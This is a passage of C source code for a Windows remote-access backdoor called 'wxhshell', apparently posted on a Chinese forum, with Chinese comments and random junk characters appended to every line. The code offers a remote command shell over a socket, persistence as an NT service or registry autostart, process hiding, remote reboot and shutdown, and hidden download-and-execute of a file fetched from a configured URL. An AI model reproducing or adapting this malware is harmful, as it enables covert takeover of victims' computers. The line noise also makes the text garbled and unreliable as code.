      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;jO+<~YP!  
    break; |;^$IZSsz  
  } "KSdC8MS  
  // 安装 U??OiKVZ+  
  case 'i': { `:jF%3ks+0  
    if(Install()) e)}=T0 s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TtQd#mSI\  
    else 7!)VO D8Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PYzTKjw  
    break; cr?ZXu_  
    } [xQ.qZ[h&  
  // 卸载 9[lk=1.qN  
  case 'r': { pbIVj3-lY  
    if(Uninstall()) &>R:oYN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O1+yOef"k  
    else 3(gOF&Uf9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ed`7GZB  
    break; L$@+'Qn@:  
    } .[s6PzQy  
  // 显示 wxhshell 所在路径 52^,qP'6  
  case 'p': { 1]vDM&9  
    char svExeFile[MAX_PATH]; Q'?VLv |@  
    strcpy(svExeFile,"\n\r"); jj]|}G  
      strcat(svExeFile,ExeFile); HiD%BL>%  
        send(wsh,svExeFile,strlen(svExeFile),0); zAev@+.ld  
    break; 91DevizXx  
    } z46Sh&+  
  // 重启 } :gi<#-:G  
  case 'b': { [HQ/MkP-Z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }_H\ 75Iv  
    if(Boot(REBOOT)) U-U(_W5&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NL2D,  
    else { fu-,<m{  
    closesocket(wsh); K4I/a#S'@6  
    ExitThread(0); 2L51 H(  
    } I1s$\NZ~]  
    break; lhf5[Rp  
    } #\O'*mz  
  // 关机 QIJ/'72  
  case 'd': { i [Wxu M  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {XD':2E  
    if(Boot(SHUTDOWN)) D 5:'2i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fq%NY8KNE  
    else { +8"P*z,  
    closesocket(wsh); qv |}>wU  
    ExitThread(0); KP $AT}D  
    }  -rT#Wi  
    break; 2^nws  
    } 8:0,jnS  
  // 获取shell Der'45]*^  
  case 's': { mX?t|:[b  
    CmdShell(wsh); XN{zl*`  
    closesocket(wsh); B(O6qWsL  
    ExitThread(0); x5rLGt  
    break; 4Y4zBD=<  
  } @RL'pKab9  
  // 退出 -8d z`o}  
  case 'x': { +rhBC V  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K}GR U)  
    CloseIt(wsh); Prc1U)nfo  
    break; AVfF<E/  
    } F IB)cpo  
  // 离开 Y]5MM:mI  
  case 'q': { `)MKCw$e  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); fvV"H{V,  
    closesocket(wsh); >;VZB/ d  
    WSACleanup(); #q-fRZ:P  
    exit(1); TefPxvd  
    break; @gM}&G08  
        } 2U"2L^oKI  
  } :JZV=@<T  
  } 9E0x\%2K  
\+0l#t$  
  // 提示信息 I[w5V;>*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8!@}\6qM  
} *O\lR-z!k  
  } SUW=-M  
x3.,zfWs  
  return; j *;.>akY7  
} }z|9F(I   
N[v=;&  
// shell模块句柄 nHp(,'R/  
int CmdShell(SOCKET sock) ,mC=MpfzJ  
{ 4I|pkdF_  
STARTUPINFO si; DF gM7if  
ZeroMemory(&si,sizeof(si)); 8U4In[4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~[~#PO  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j |o&T41  
PROCESS_INFORMATION ProcessInfo; :uC9 #H"b  
char cmdline[]="cmd"; 4^d).{&X  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c++q5bg@)  
  return 0; b)E<b{'W  
}  o|#F@L3i  
[,MK)7DU  
// 自身启动模式 0"ooHP$1  
int StartFromService(void) tF./Jx]_  
{ pF8+< T3y  
typedef struct ELG9ts+5Uj  
{ ZPz=\^  
  DWORD ExitStatus; NzeiGj  
  DWORD PebBaseAddress; Y]uVA`%"b  
  DWORD AffinityMask; 5r~hs6H  
  DWORD BasePriority; (A=Z,ed  
  ULONG UniqueProcessId; $H]NC-\+>  
  ULONG InheritedFromUniqueProcessId; aygK$.wos  
}   PROCESS_BASIC_INFORMATION; W"CG&.  
GdrVH,j  
PROCNTQSIP NtQueryInformationProcess; S 2W@;XvV  
UIht`[(z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; r6:e 423  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y> ~jho  
)UVekkq>Q  
  HANDLE             hProcess; i->G {_gH  
  PROCESS_BASIC_INFORMATION pbi; !@ y/{~Gu  
i XGy*#>V  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); OPogH=vf  
  if(NULL == hInst ) return 0; rR#wbDr5  
s B^ejH  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); HS\'{4P  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bw+IH-b  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "pH;0[r]  
?1] \3nj  
  if (!NtQueryInformationProcess) return 0; v\?l+-A? y  
;cp||uO  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); CVEo<Tz  
  if(!hProcess) return 0; 82?LZ?!PD  
@L0)k^:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; AR&l9R[{N  
zAJC-YC6  
  CloseHandle(hProcess); p<w C{D  
O'3/21)|y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J |UFuD  
if(hProcess==NULL) return 0; S-</(,E}|  
}m7$,'C%P  
HMODULE hMod; )ZFc5m^+u  
char procName[255]; DnW/q  
unsigned long cbNeeded; &FYv4J  
(N)>?r@n`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); uK1VFW  
 a3a:H  
  CloseHandle(hProcess); q(1hY"S"}b  
~C3Ada@4  
if(strstr(procName,"services")) return 1; // 以服务启动 Y4X`(\A  
@e$EwCV,  
  return 0; // 注册表启动 jR@>~t[}o  
} $d,{I8d  
o#BI_#b  
// 主模块 uss!E!_%,  
int StartWxhshell(LPSTR lpCmdLine) kf9]nIo  
{ xh!T,|IR  
  SOCKET wsl; bT|-G2g7Z  
BOOL val=TRUE; }nO%q6|\V  
  int port=0; 2+ g'ul`  
  struct sockaddr_in door; }jdmeD:  
Cn5;h(r  
  if(wscfg.ws_autoins) Install(); r)Ml-r =  
_u6MSRX[6$  
port=atoi(lpCmdLine); UQ@szE  
u|D L?c>W  
if(port<=0) port=wscfg.ws_port; E]r<t#  
KDA2 H>  
  WSADATA data; qG g29  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sr(nd35  
[UB*39D7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0W+RVp=TL1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bMv[.Z@v(  
  door.sin_family = AF_INET; \%V !& !'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); S?OCy4dk:  
  door.sin_port = htons(port); \0&$ n  
%5@> nC?`[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :1@jl2,  
closesocket(wsl); ];N/KHeZ  
return 1; PpF`0w=1%l  
} |)*!&\Ch  
jJ,y+o  
  if(listen(wsl,2) == INVALID_SOCKET) { ,wv>G]v  
closesocket(wsl); hPCSAo!|  
return 1; s%6L94\t  
} C^,J 6;'  
  Wxhshell(wsl); }ov>b2H#<  
  WSACleanup(); y6MkaHW[m  
B+pLW/4l  
return 0; 'UZ i>Ta  
$*Wa A`(U  
} &h=f  
fGe"1MfU  
// 以NT服务方式启动 %|j`;gYV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) MfKru,LSh  
{ P:1eWP  
DWORD   status = 0; 5~E{bW$  
  DWORD   specificError = 0xfffffff; ApplWa3  
QA)W(1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |8GLS4.]t  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .1ep8O<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #cb9g   
  serviceStatus.dwWin32ExitCode     = 0; wjT#D|soI  
  serviceStatus.dwServiceSpecificExitCode = 0; BuxU+  
  serviceStatus.dwCheckPoint       = 0; 'AmA3x)9u  
  serviceStatus.dwWaitHint       = 0; y$6EEp  
Y/pK  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :/RvtmW  
  if (hServiceStatusHandle==0) return; J{L d)Q,^  
#'RfwldD9  
status = GetLastError(); yC4%z) t&R  
  if (status!=NO_ERROR) frV_5yK'  
{ w=0zVh_`(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; G(t&(t`[  
    serviceStatus.dwCheckPoint       = 0; t~!ag#3['.  
    serviceStatus.dwWaitHint       = 0; Y|W#VyM-  
    serviceStatus.dwWin32ExitCode     = status; Ln/*lLIOb  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5-S-r9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `FX?P`\@I  
    return; PQz[IZ  
  } *e<'|Kq  
%>y!N!.F  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; VMNdC}  
  serviceStatus.dwCheckPoint       = 0;  J&+"  
  serviceStatus.dwWaitHint       = 0; 2^U?Ztth6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Xd1+?2  
} ~L> &p  
??++0<75  
// 处理NT服务事件,比如:启动、停止 Gvr>n@n  
VOID WINAPI NTServiceHandler(DWORD fdwControl) '] _7Xa'  
{ .t{uzDM  
switch(fdwControl) N%u4uLP5k  
{ _eH@G(W(  
case SERVICE_CONTROL_STOP: GSH,;cY  
  serviceStatus.dwWin32ExitCode = 0; BA T.>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; l}#d^S/  
  serviceStatus.dwCheckPoint   = 0; pK/RkA1  
  serviceStatus.dwWaitHint     = 0; yWr &G@>G  
  { r"\<+$ 7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GW%!?mJ  
  } -Q ];o~  
  return; Vn_>c#B  
case SERVICE_CONTROL_PAUSE: WM=)K1p0u  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $%ww$3  
  break; L[Wi[S6=)g  
case SERVICE_CONTROL_CONTINUE: FEBRUk6.h  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; tlI]);iE,  
  break; *ODc[k'(  
case SERVICE_CONTROL_INTERROGATE: ]J/;Xp  
  break; 6k+tO%{~  
}; !L/.[:X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (+BrC`  
} )]m4FC:  
Uf?+oc'{  
// 标准应用程序主函数 gAsjkNt?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _LWMz=U=J/  
{ x$S~>H<a  
Cwji,*  
// 获取操作系统版本 xq%BR[1  
OsIsNt=GetOsVer(); = Fq{#sC>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); IQmlmu  
8. %g&% S  
  // 从命令行安装 u(ETc* D]  
  if(strpbrk(lpCmdLine,"iI")) Install(); /~?[70B}E  
yV&]i-ey  
  // 下载执行文件 NxFCVqGb  
if(wscfg.ws_downexe) { )k `+9}OO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V {}TG]  
  WinExec(wscfg.ws_filenam,SW_HIDE); RGY#0.Z}  
} bPl'?3  
/u"Iq8QA  
if(!OsIsNt) { Ie8K [ >  
// 如果时win9x,隐藏进程并且设置为注册表启动 jd`]]FAww  
HideProc(); NG4@L1f%  
StartWxhshell(lpCmdLine); SF[Z]|0gs  
} 9G6auk.m.O  
else Dd$8{~h"G  
  if(StartFromService()) azTiY@/  
  // 以服务方式启动 ZMK1V)ohn  
  StartServiceCtrlDispatcher(DispatchTable); .wtYost v  
else zT hut!O  
  // 普通方式启动 e)F_zX  
  StartWxhshell(lpCmdLine); KT<N ;[;  
ItAC=/(d  
return 0; w7<4D,hk  
}
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只看该作者 1 发表于: 2006-10-10
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